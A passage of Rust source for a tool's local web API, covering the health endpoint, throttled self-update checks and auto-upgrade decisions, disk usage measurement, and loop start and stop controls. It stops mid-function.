2669            id: job.id,
2670            kind: job.kind,
2671            key: job.key,
2672            pid: job.pid,
2673            status: job.status,
2674            generation: job.generation,
2675            version: job.version,
2676            queue_owned,
2677        }
2678    }
2679}
2680
2681/// What `/api/health` knows about a release newer than this build.
2682///
2683/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2684/// is already the newest" from "never checked" - both are `None` - and the
2685/// phone needs to tell those apart to decide whether the deck can be trusted
2686/// to have an opinion at all.
2687#[derive(Debug, Clone, Serialize)]
2688struct UpdateView {
2689    /// A newer release is known to exist.
2690    available: bool,
2691    /// Its tag, when `available`.
2692    to: Option<String>,
2693}
2694
2695/// [`updater::Progress`] as `/api/health` reports it.
2696#[derive(Debug, Serialize)]
2697struct UpgradeProgressView {
2698    trigger: updater::UpgradeTrigger,
2699    stage: updater::Stage,
2700    from: String,
2701    to: Option<String>,
2702    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2703    /// the step it is finishing before the address is handed over.
2704    waiting_on: Option<String>,
2705    started_at: Timestamp,
2706    updated_at: Timestamp,
2707    detail: Option<String>,
2708    /// Seconds the stage has outlived its allowance, when it has - see
2709    /// [`updater::stall`]. `null` while the stage is moving normally.
2710    stuck_for_secs: Option<i64>,
2711    /// Which kind of stuck: `never_entered` (hand_over left no record of
2712    /// starting) or `stopped_beating`. `null` when not stuck.
2713    stuck_kind: Option<updater::StallKind>,
2714    /// `hand_over` is alive and waiting on the loop: however long that takes,
2715    /// it is not an overdue upgrade.
2716    handover_alive: bool,
2717}
2718
2719/// Whether [`run_update_recheck`] may act at all this tick.
2720///
2721/// The same two conditions [`updater::Checker::new`] and
2722/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2723/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2724/// GitHub from this process" - on a button press or on a timer alike.
2725fn should_spawn_recheck(cfg: &Update) -> bool {
2726    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2727}
2728
2729/// Whether this tick should actually reach the network, once checking itself
2730/// is allowed.
2731///
2732/// An upgrade already in flight must not be raced by a check that discovers
2733/// a *newer* release while one is still installing - a phone watching
2734/// `/api/health` would see the answer change out from under the upgrade it
2735/// already asked for. Past that, [`updater::Checker::should_check`] is the
2736/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2737/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2738/// polling period, is what keeps this task's network use to at most once per
2739/// `[update] interval` regardless of how often it wakes up.
2740fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2741    if progress.is_some_and(|p| !p.stage.terminal()) {
2742        return false;
2743    }
2744    checker.should_check()
2745}
2746
2747/// How long [`run_update_recheck`] sleeps before its next wake-up.
2748///
2749/// A fraction of the configured `[update] interval` rather than a fixed
2750/// number: a fixed sleep longer than a short custom interval would leave the
2751/// deck waiting on its own wake-up rather than on `should_check`, so an
2752/// operator who set `interval = "1m"` to make the UI catch up quickly would
2753/// not see that take effect until the next restart - exactly the bug this
2754/// task exists to fix, just moved one level down. Scaling with the interval
2755/// keeps the wake-up prompt relative to what was actually configured, while
2756/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2757/// still what caps the network calls themselves at one per interval,
2758/// regardless of how often this fires.
2759fn recheck_poll_period(cfg: &Update) -> Duration {
2760    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2761}
2762
2763#[derive(Debug, PartialEq, Eq)]
2764enum AutoUpgradeDecision {
2765    Skip(&'static str),
2766    Trigger,
2767}
2768
2769fn auto_upgrade_decision(
2770    cfg: &Update,
2771    disabled: bool,
2772    in_motion: bool,
2773    tag: &str,
2774    failed: Option<&str>,
2775) -> AutoUpgradeDecision {
2776    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2777        AutoUpgradeDecision::Skip("disabled")
2778    } else if in_motion {
2779        AutoUpgradeDecision::Skip("upgrade already in progress")
2780    } else if failed == Some(tag) {
2781        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2782    } else {
2783        AutoUpgradeDecision::Trigger
2784    }
2785}
2786
2787/// Refresh the shared cache and optionally request the same handover as the UI.
2788async fn run_update_recheck(ui: Arc<Ui>) {
2789    loop {
2790        tokio::time::sleep(update_recheck_once(&ui).await).await;
2791    }
2792}
2793
2794async fn update_recheck_once(ui: &Arc<Ui>) -> Duration {
2795    let cfg = match Config::discover(&ui.repo, None) {
2796        Ok((cfg, _)) => cfg,
2797        Err(e) => {
2798            updater::log_warn(
2799                &ui.home,
2800                &format!("auto-upgrade: config unavailable: {e:#}"),
2801            );
2802            return UPDATE_RECHECK_POLL_MAX;
2803        }
2804    };
2805    if should_spawn_recheck(&cfg.update)
2806        && let Some(checker) = updater::Checker::new(&cfg.update)
2807    {
2808        let progress = updater::read_progress(&ui.home);
2809        let mut latest = checker.cached_update();
2810        if update_recheck_due(&checker, progress.as_ref()) {
2811            match checker.newer_release().await {
2812                Ok(found) => latest = found,
2813                Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2814            }
2815        }
2816        if cfg.update.auto_restart
2817            && let Some(latest) = latest
2818        {
2819            let response = begin_upgrade(ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2820            updater::log_step(
2821                &ui.home,
2822                &format!("auto-upgrade: request status {}", response.status()),
2823            );
2824        }
2825    }
2826    recheck_poll_period(&cfg.update)
2827}
2828
2829/// [`UpdateView`] from the same throttled, disk-only state
2830/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2831/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2832/// no cached state at all, which is correct: an operator who turned checking
2833/// off gets no opinion, not a stale one.
2834fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2835    let default;
2836    let cfg = match cfg {
2837        Some(cfg) => cfg,
2838        None => {
2839            default = Config::default();
2840            &default
2841        }
2842    };
2843    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2844    match latest {
2845        Some(latest) => UpdateView {
2846            available: true,
2847            to: Some(latest.tag_name),
2848        },
2849        None => UpdateView {
2850            available: false,
2851            to: None,
2852        },
2853    }
2854}
2855
2856/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2857/// from the parked run's own state when the stage is
2858/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2859/// already on disk in `run.json`, so this reads them fresh rather than
2860/// trusting whatever was true the moment the park was requested.
2861fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2862    let now = Timestamp::now();
2863    let lease = updater::read_lease(&ui.home);
2864    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2865    let run_id = alive
2866        .and_then(|l| l.parked_run.as_deref())
2867        .or(progress.parked_run.as_deref());
2868    let parking = progress.stage == updater::Stage::Parking;
2869    let waited = alive.map_or_else(String::new, |l| {
2870        let secs = updater::waited_secs(l, now);
2871        format!(" (waited {} min so far)", secs / 60)
2872    });
2873    let run_text = run_id
2874        .filter(|_| parking)
2875        .map(|id| match read_run(&ui.runs, id).ok() {
2876            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2877            None => format!("run {id} is finishing"),
2878        });
2879    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2880        .filter(|t| parking && !t.is_empty())
2881        .map(|t| format!("{t} finishing"));
2882    let waiting_on = match (run_text, talks_text) {
2883        (None, None) => None,
2884        (run, talks) => {
2885            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2886            Some(format!(
2887                "{} before the address is handed over{waited}",
2888                parts.join(" and ")
2889            ))
2890        }
2891    };
2892    let detail = progress
2893        .detail
2894        .clone()
2895        .or_else(|| updater::read_note(&ui.home, &progress));
2896    let stalled = updater::stall(&progress, lease.as_ref(), now);
2897    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2898    UpgradeProgressView {
2899        trigger: progress.trigger,
2900        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2901        stuck_kind: stalled.map(|s| s.kind),
2902        handover_alive: alive.is_some(),
2903        stage: progress.stage,
2904        from: progress.from,
2905        to: progress.to,
2906        waiting_on,
2907        started_at: progress.started_at,
2908        updated_at: progress.updated_at,
2909        detail,
2910    }
2911}
2912
2913/// Last successful capacity observations, independent of admission/cleanup.
2914/// Cold or unavailable directory measurements are null, never invented zeros.
2915#[derive(Debug, Serialize)]
2916struct DiskView {
2917    /// Free bytes on the volume holding the runs, when measurable.
2918    #[serde(skip_serializing_if = "Option::is_none")]
2919    free_bytes: Option<u64>,
2920    /// Everything the runs directory occupies, when fully measurable.
2921    runs_bytes: Option<u64>,
2922    /// Everything the runs' worktrees occupy.
2923    worktrees_bytes: Option<u64>,
2924    /// The shared build cache's size, when the config names one.
2925    #[serde(skip_serializing_if = "Option::is_none")]
2926    cache_bytes: Option<u64>,
2927    /// Last bounded cleanup report, including retention and failure reasons.
2928    retention: Option<crate::retention::Report>,
2929}
2930
2931/// Capacity walks have their own demand-driven single flight, not the revision
2932/// worker: a large build cache must never delay revisions or a health response.
2933const DISK_REFRESH: Duration = Duration::from_secs(60);
2934
2935#[derive(Debug, Clone, PartialEq, Eq)]
2936struct DiskScope {
2937    runs: PathBuf,
2938    worktrees: PathBuf,
2939    cache: Option<PathBuf>,
2940}
2941
2942impl DiskScope {
2943    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2944        Self {
2945            runs: ui.runs.clone(),
2946            worktrees: ui.worktrees_root.clone(),
2947            cache: cfg.and_then(Config::cache_dir),
2948        }
2949    }
2950}
2951
2952#[derive(Debug, Clone, Copy, Default)]
2953struct DiskCapacity {
2954    free_bytes: Option<u64>,
2955    runs_bytes: Option<u64>,
2956    worktrees_bytes: Option<u64>,
2957    cache_bytes: Option<u64>,
2958}
2959
2960impl DiskCapacity {
2961    fn measure(scope: &DiskScope) -> Self {
2962        Self {
2963            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2964            runs_bytes: disk_capacity_size(&scope.runs),
2965            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2966            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2967        }
2968    }
2969
2970    fn retain_successes(&mut self, next: Self) {
2971        self.free_bytes = next.free_bytes.or(self.free_bytes);
2972        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2973        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2974        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2975    }
2976}
2977
2978/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2979/// best-effort total, an incomplete observation must not look like an empty tree.
2980fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2981    let metadata = match std::fs::symlink_metadata(path) {
2982        Ok(metadata) => metadata,
2983        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2984        Err(_) => return None,
2985    };
2986    if !metadata.is_dir() {
2987        return Some(if metadata.is_file() {
2988            metadata.len()
2989        } else {
2990            0
2991        });
2992    }
2993    let mut total = 0;
2994    let mut stack = vec![path.to_owned()];
2995    while let Some(dir) = stack.pop() {
2996        for entry in std::fs::read_dir(dir).ok()? {
2997            let entry = entry.ok()?;
2998            let metadata = entry.metadata().ok()?;
2999            if metadata.is_dir() {
3000                stack.push(entry.path());
3001            } else if metadata.is_file() {
3002                total += metadata.len();
3003            }
3004        }
3005    }
3006    Some(total)
3007}
3008
3009#[derive(Debug, Default)]
3010struct DiskObservation {
3011    scope: Option<DiskScope>,
3012    capacity: DiskCapacity,
3013    in_flight: bool,
3014    finished: Option<std::time::Instant>,
3015}
3016
3017impl DiskObservation {
3018    fn observe(
3019        state: &Arc<Mutex<Self>>,
3020        scope: DiskScope,
3021        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
3022    ) -> DiskCapacity {
3023        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
3024        if observation.scope.as_ref() != Some(&scope) {
3025            observation.scope = Some(scope.clone());
3026            observation.capacity = DiskCapacity::default();
3027            observation.finished = None;
3028        }
3029        let capacity = observation.capacity;
3030        if observation.in_flight
3031            || observation
3032                .finished
3033                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
3034        {
3035            return capacity;
3036        }
3037        observation.in_flight = true;
3038        drop(observation);
3039
3040        let refresh = DiskRefresh {
3041            state: Arc::clone(state),
3042            scope,
3043        };
3044        tokio::task::spawn_blocking(move || {
3045            let next = measure(&refresh.scope);
3046            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
3047            if observation.scope.as_ref() == Some(&refresh.scope) {
3048                observation.capacity.retain_successes(next);
3049            }
3050            drop(observation);
3051            // The guard also clears the flight on panic or a cancelled,
3052            // not-yet-started blocking job. No failed scan can wedge health.
3053            drop(refresh);
3054        });
3055        capacity
3056    }
3057}
3058
3059struct DiskRefresh {
3060    state: Arc<Mutex<DiskObservation>>,
3061    scope: DiskScope,
3062}
3063
3064impl Drop for DiskRefresh {
3065    fn drop(&mut self) {
3066        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
3067        observation.in_flight = false;
3068        if observation.scope.as_ref() == Some(&self.scope) {
3069            // Wait a full period after completion, including failed scans.
3070            observation.finished = Some(std::time::Instant::now());
3071        }
3072    }
3073}
3074
3075impl DiskView {
3076    /// Return immediately, retaining known capacity while one worker refreshes.
3077    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
3078        let capacity = DiskObservation::observe(
3079            &ui.monitor.disk,
3080            DiskScope::of(ui, cfg),
3081            DiskCapacity::measure,
3082        );
3083        Self::with_capacity(ui, capacity)
3084    }
3085
3086    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
3087        Self {
3088            free_bytes: crate::disk::free_bytes(&ui.runs)
3089                .ok()
3090                .or(capacity.free_bytes),
3091            runs_bytes: capacity.runs_bytes,
3092            worktrees_bytes: capacity.worktrees_bytes,
3093            cache_bytes: capacity.cache_bytes,
3094            retention: ui
3095                .runs
3096                .parent()
3097                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
3098                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
3099        }
3100    }
3101}
3102
3103/// The daemon's state as the UI presents it.
3104#[derive(Debug, Serialize)]
3105struct DaemonView {
3106    running: bool,
3107    idle: Option<bool>,
3108    dispatch_wait: Option<daemon::DispatchWait>,
3109    pid: Option<u32>,
3110    /// Every task and run currently in flight. Empty when idle; more than
3111    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
3112    /// run going at once.
3113    current: Vec<daemon::Current>,
3114    completed: Option<u64>,
3115    stale_for_secs: Option<i64>,
3116}
3117
3118impl DaemonView {
3119    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
3120    /// not this UI's — a crashed daemon must not look alive here while
3121    /// `doctor` calls it dead.
3122    fn of(status: Option<daemon::Reading>) -> Self {
3123        let Some(status) = status else {
3124            return Self {
3125                running: false,
3126                idle: None,
3127                dispatch_wait: None,
3128                pid: None,
3129                current: Vec::new(),
3130                completed: None,
3131                stale_for_secs: None,
3132            };
3133        };
3134        let now = Timestamp::now();
3135        let age = status.age_secs(now);
3136        Self {
3137            running: status.running(now),
3138            idle: Some(status.idle),
3139            dispatch_wait: status.dispatch_wait,
3140            pid: status.pid,
3141            current: status.current,
3142            completed: Some(status.completed),
3143            stale_for_secs: age,
3144        }
3145    }
3146}
3147
3148// Discover display configuration off the request path. Capacity measurement
3149// retains its separate single flight and scope/failure handling below.
3150fn refresh_health_config(ui: &Arc<Ui>) {
3151    let mut cache = ui
3152        .monitor
3153        .disk_cache
3154        .lock()
3155        .unwrap_or_else(PoisonError::into_inner);
3156    if cache.loading
3157        || cache
3158            .measured
3159            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3160    {
3161        return;
3162    }
3163    cache.loading = true;
3164    let weak = Arc::downgrade(ui);
3165    std::thread::spawn(move || {
3166        let Some(ui) = weak.upgrade() else { return };
3167        let cfg = deputy_config(&ui.repo);
3168        let update = cached_update_view(cfg.as_ref());
3169        let mut cache = ui
3170            .monitor
3171            .disk_cache
3172            .lock()
3173            .unwrap_or_else(PoisonError::into_inner);
3174        cache.config = cfg;
3175        cache.update = Some(update);
3176        cache.measured = Some(std::time::Instant::now());
3177        cache.loading = false;
3178    });
3179}
3180
3181fn health_counts(
3182    ui: &Ui,
3183    fallback_questions_rev: u64,
3184) -> ApiResult<(usize, usize, usize, u64, usize)> {
3185    let mut index = ui
3186        .monitor
3187        .health_index
3188        .lock()
3189        .unwrap_or_else(PoisonError::into_inner);
3190    let ids = run_ids(&ui.runs);
3191    let seen: HashSet<_> = ids.iter().cloned().collect();
3192    index.runs.retain(|id, _| seen.contains(id));
3193    let mut unreadable = 0;
3194    for id in ids {
3195        // Recheck identity on every request, including atomic replacements
3196        // with preserved length/mtime. A failed stat is never cached as good.
3197        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3198        let bad = match identity {
3199            Ok(identity) => {
3200                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3201                    let bad = read_run(&ui.runs, &id).is_err();
3202                    index.runs.insert(id.clone(), (identity, bad));
3203                    #[cfg(test)]
3204                    {
3205                        index.run_parses += 1;
3206                    }
3207                }
3208                index.runs[&id].1
3209            }
3210            Err(_) => true,
3211        };
3212        unreadable += usize::from(bad);
3213    }
3214    let questions_rev = try_stamps(ui.questions.root(), false, true)
3215        .map(|stamps| stamps_revision(&stamps))
3216        .unwrap_or(fallback_questions_rev);
3217    if index.questions.as_ref().is_none_or(|counts| {
3218        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3219    }) {
3220        let questions = ui.questions.list();
3221        index.questions = Some(QuestionCounts {
3222            revision: questions_rev,
3223            measured: std::time::Instant::now(),
3224            open: questions.iter().filter(|q| q.status.open()).count(),
3225            owner: questions
3226                .iter()
3227                .filter(|q| {
3228                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3229                })
3230                .count(),
3231        });
3232    }
3233    let notifications_rev =
3234        stamps_revision(&notice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3235    if index
3236        .notices
3237        .is_none_or(|(rev, _)| rev != notifications_rev)
3238    {
3239        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3240    }
3241    let questions = index.questions.as_ref().unwrap();
3242    Ok((
3243        unreadable,
3244        questions.open,
3245        questions.owner,
3246        notifications_rev,
3247        index.notices.unwrap().1,
3248    ))
3249}
3250
3251async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3252    let revisions = ui.monitor.revisions(&ui).await?;
3253    refresh_health_config(&ui);
3254    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3255        // One read of the status file for the two fields that describe it, so
3256        // `daemon` and `loop` in the same answer cannot disagree about who is
3257        // running the loop.
3258        let reading = daemon::read_status(&ui.home);
3259        // Read on its own line, not inside the literal below: the loop's lock
3260        // is not reentrant, and a guard taken as a temporary there would still
3261        // be held when `loop_view` took it again.
3262        let loop_rev = ui.lock_loop().rev;
3263        let (
3264            runs_unreadable,
3265            questions_open,
3266            questions_needs_owner,
3267            notifications_rev,
3268            notifications_unread,
3269        ) = health_counts(&ui, revisions.2)?;
3270        let ((cfg, config_observed, sizes, measured), update) = {
3271            let cache = ui
3272                .monitor
3273                .disk_cache
3274                .lock()
3275                .unwrap_or_else(PoisonError::into_inner);
3276            (
3277                (
3278                    cache.config.clone(),
3279                    cache.measured.is_some(),
3280                    cache.disk.clone(),
3281                    cache.measured,
3282                ),
3283                cache.update.clone().unwrap_or(UpdateView {
3284                    available: false,
3285                    to: None,
3286                }),
3287            )
3288        };
3289        // Retain the base's capacity observation independently of config
3290        // refreshes. A cold config read may still be pending; an existing
3291        // capacity flight must remain visible to concurrent health requests.
3292        let prior_capacity = {
3293            let mut observation = ui
3294                .monitor
3295                .disk
3296                .lock()
3297                .unwrap_or_else(PoisonError::into_inner);
3298            // Adopt a completed size snapshot only before the scoped capacity
3299            // observer has started. Later scope changes remain its authority.
3300            if observation.scope.is_none()
3301                && let Some(sizes) = sizes
3302            {
3303                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3304                observation.capacity = DiskCapacity {
3305                    runs_bytes: Some(sizes.runs),
3306                    worktrees_bytes: Some(sizes.worktrees),
3307                    cache_bytes: sizes.cache,
3308                    free_bytes: None,
3309                };
3310                observation.finished = measured;
3311            }
3312            observation.scope.as_ref().map(|_| observation.capacity)
3313        };
3314        let disk = if config_observed {
3315            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3316        } else {
3317            serde_json::to_value(DiskView::with_capacity(
3318                &ui,
3319                prior_capacity.unwrap_or_default(),
3320            ))
3321            .ok()
3322        };
3323        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3324        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3325        #[cfg(not(test))]
3326        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3327        #[cfg(test)]
3328        let looping = ui.loop_view(reading.clone());
3329        Ok(Json(HealthView {
3330            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3331            version: env!("CARGO_PKG_VERSION"),
3332            home: ui.home.display().to_string(),
3333            queue_rev: revisions.0,
3334            runs_rev: revisions.1,
3335            questions_rev: revisions.2,
3336            talks_rev: revisions.3,
3337            notifications_rev,
3338            notifications_unread,
3339            loop_rev,
3340            runs_unreadable,
3341            questions_open,
3342            questions_needs_owner,
3343            daemon: DaemonView::of(reading.clone()),
3344            looping,
3345            disk,
3346            update,
3347            upgrade,
3348            upgrade_request_error: ui
3349                .upgrade_request_error
3350                .lock()
3351                .unwrap_or_else(PoisonError::into_inner)
3352                .clone(),
3353        }))
3354    })
3355    .await
3356}
3357
3358/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3359#[derive(Debug, Serialize)]
3360struct LoopView {
3361    /// A scheduler is running, independently of this web process.
3362    running: bool,
3363    /// The scheduler has been asked to stop scheduling new work.
3364    stopping: bool,
3365    /// An explicit operator park was requested, independently from updates.
3366    parking: bool,
3367    /// This scheduler supports durable controls from any web generation.
3368    owned: bool,
3369    /// Repository the loop uses for tasks that name none - what it was
3370    /// started with while it runs, and what a start would use before that.
3371    repo: String,
3372    /// Merge mode override in force, or `null` when each repository's own
3373    /// config decides.
3374    merge: Option<String>,
3375    /// Why the last loop in this process ended, when it ended badly.
3376    ///
3377    /// The only place a crashed loop is visible to someone holding a phone.
3378    /// It is logged at error level as well, but a terminal nobody kept open
3379    /// is not a report, and a loop that died at 3am must not read as merely
3380    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3381    /// answers the same question about the same kind of failure.
3382    last_error: Option<String>,
3383    /// The status file, judged the same way `/api/health` judges it: this is
3384    /// what says whether a loop is alive in some *other* process.
3385    daemon: DaemonView,
3386}
3387
3388/// A legacy embedded scheduler that this web process cannot control.
3389///
3390/// Worker-protocol schedulers use durable controls regardless of which process
3391/// started them. Older schedulers are identified by their foreign heartbeat.
3392#[derive(Debug, Clone, Copy)]
3393struct Foreign {
3394    /// The pid the other process published, when it published one.
3395    pid: Option<u32>,
3396}
3397
3398impl Foreign {
3399    /// Another process's live loop, or `None` when this process is free to
3400    /// run one.
3401    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3402        // A fresh heartbeat with no pid in it is still evidence of a live
3403        // daemon. "Some other process" is the honest answer, and refusing
3404        // to start beside it is the safe one.
3405        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3406            return None;
3407        }
3408        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3409    }
3410
3411    /// How a conflict names it. The pid is the whole point of the message: it
3412    /// is what the operator needs to find the terminal that owns the loop.
3413    fn who(&self) -> String {
3414        match self.pid {
3415            Some(pid) => format!("another magi process (pid {pid})"),
3416            None => "another magi process".to_owned(),
3417        }
3418    }
3419}
3420
3421/// How a loop is started, as a future this module can hold onto.
3422///
3423/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3424/// trait object or a hand-written `Debug` impl for the sake of one seam.
3425type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3426
3427#[cfg(test)]
3428type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3429
3430/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3431#[cfg(test)]
3432fn launch_daemon(
3433    opts: daemon::Opts,
3434    stop: daemon::Stop,
3435) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3436    Box::pin(daemon::serve_until(opts, stop))
3437}
3438
3439/// Local web-control revisions and errors, plus the unit-test launch seam.
3440#[derive(Debug, Default)]
3441struct LoopState {
3442    /// The loop, while there is one.
3443    #[cfg(test)]
3444    live: Option<Live>,
3445    /// Local control changes streamed as `loop_rev`; actual scheduler and
3446    /// execution ownership comes from durable status and OS-held worker leases.
3447    rev: u64,
3448    /// Why the last loop ended, when it ended badly. See
3449    /// [`LoopView::last_error`].
3450    last_error: Option<String>,
3451}
3452
3453/// A loop in flight.
3454#[cfg(test)]
3455#[derive(Debug)]
3456struct Live {
3457    /// The cooperative stop, shared with the loop task.
3458    stop: daemon::Stop,
3459    /// The task itself, kept only to answer whether it is still there: a loop
3460    /// that panicked never records its own end, and without this the view
3461    /// would go on reporting a loop that no longer exists - the one lie that
3462    /// would leave the operator with no button to press.
3463    handle: tokio::task::JoinHandle<()>,
3464    /// What the loop was started with, so the view reports the repository and
3465    /// merge mode its runs will actually use rather than what an edit to the
3466    /// config since would give.
3467    opts: daemon::Opts,
3468}
3469
3470#[cfg(test)]
3471impl Live {
3472    /// Is the task still there? See [`Live::handle`].
3473    fn alive(&self) -> bool {
3474        !self.handle.is_finished()
3475    }
3476}
3477
3478/// Take the loop lock, recovering from a poisoned one.
3479///
3480/// What this mutex holds is a stop flag, a task handle and two counters, none
3481/// of which a panic elsewhere can leave in a state worth refusing to read.
3482/// Propagating the poison instead would mean an operator who can see the loop
3483/// running and can no longer stop it from the only surface they have.
3484fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3485    state.lock().unwrap_or_else(PoisonError::into_inner)
3486}
3487
3488/// `GET /api/loop`.
3489async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3490    blocking(move || {
3491        let reading = daemon::read_status(&ui.home);
3492        #[cfg(not(test))]
3493        let view = ui.try_loop_view(reading)?;
3494        #[cfg(test)]
3495        let view = ui.loop_view(reading);
3496        Ok(Json(view))
3497    })
3498    .await
3499}
3500
3501/// The body of `POST /api/loop`.
3502///
3503/// One required field and nothing else: no `default` and no unknown fields,
3504/// so a body that fails to say which way the switch was flipped is a 400
3505/// rather than a tap that quietly does the opposite of what was pressed.
3506#[derive(Debug, Deserialize)]
3507#[serde(deny_unknown_fields)]
3508struct LoopCommand {
3509    running: bool,
3510    /// Stop the run in flight at its next node boundary rather than letting it
3511    /// finish.
3512    ///
3513    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3514    /// competition is tens of minutes of paid work and finishing it is
3515    /// normally the cheapest thing to do. A park is for the operator who
3516    /// wants the process gone now - to replace the binary, most of all - and
3517    /// it costs at most the node in progress because every node writes its
3518    /// state before the next one starts.
3519    #[serde(default)]
3520    park: bool,
3521}
3522
3523/// Start or control the detached scheduler without waiting for execution
3524/// workers. Only an explicit park asks workers to stop at a node boundary.
3525async fn loop_post(
3526    State(ui): State<Arc<Ui>>,
3527    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3528) -> ApiResult<Json<LoopView>> {
3529    // Taken as a `Result` so a malformed body is a 400 like every other route
3530    // here, rather than axum's default 422 that the UI has no branch for.
3531    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3532    #[cfg(not(test))]
3533    {
3534        if body.running {
3535            ui.start_detached_loop().await?;
3536        } else {
3537            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3538            ui.stop_loop(foreign, body.park)?;
3539        }
3540        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3541    }
3542    #[cfg(test)]
3543    {
3544        blocking(move || {
3545            let reading = daemon::read_status(&ui.home);
3546            let foreign = Foreign::of(reading.as_ref());
3547            if body.running {
3548                ui.start_loop(foreign)?;
3549            } else {
3550                ui.stop_loop(foreign, body.park)?;
3551            }
3552            Ok(Json(ui.loop_view(reading)))
3553        })
3554        .await
3555    }
3556}
3557
3558/// What `POST /api/upgrade` set in motion.
3559#[derive(Debug, Serialize)]
3560struct UpgradeView {
3561    /// The version this process is running.
3562    from: String,
3563    /// The release it is replacing itself with, when there is one.
3564    to: Option<String>,
3565    /// What the operator should expect to happen next.
3566    detail: String,
3567}
3568
3569/// The stage of an upgrade that is still moving, if the record says so.
3570/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3571fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3572    progress.filter(|p| !p.stage.terminal())
3573}
3574
3575/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3576/// Unknown diagnostics retain their complete message without guessing a delay.
3577fn upgrade_retry_after(message: &str) -> Option<u64> {
3578    if !message.contains("GitHub") || !message.contains("rate limit") {
3579        return None;
3580    }
3581    if message.contains("retry now") {
3582        return Some(0);
3583    }
3584    let duration = message
3585        .split_once("resets in ")
3586        .or_else(|| message.split_once("retry after "))?
3587        .1
3588        .split_once(')')?
3589        .0;
3590    let mut rest = duration.trim();
3591    if rest.is_empty() {
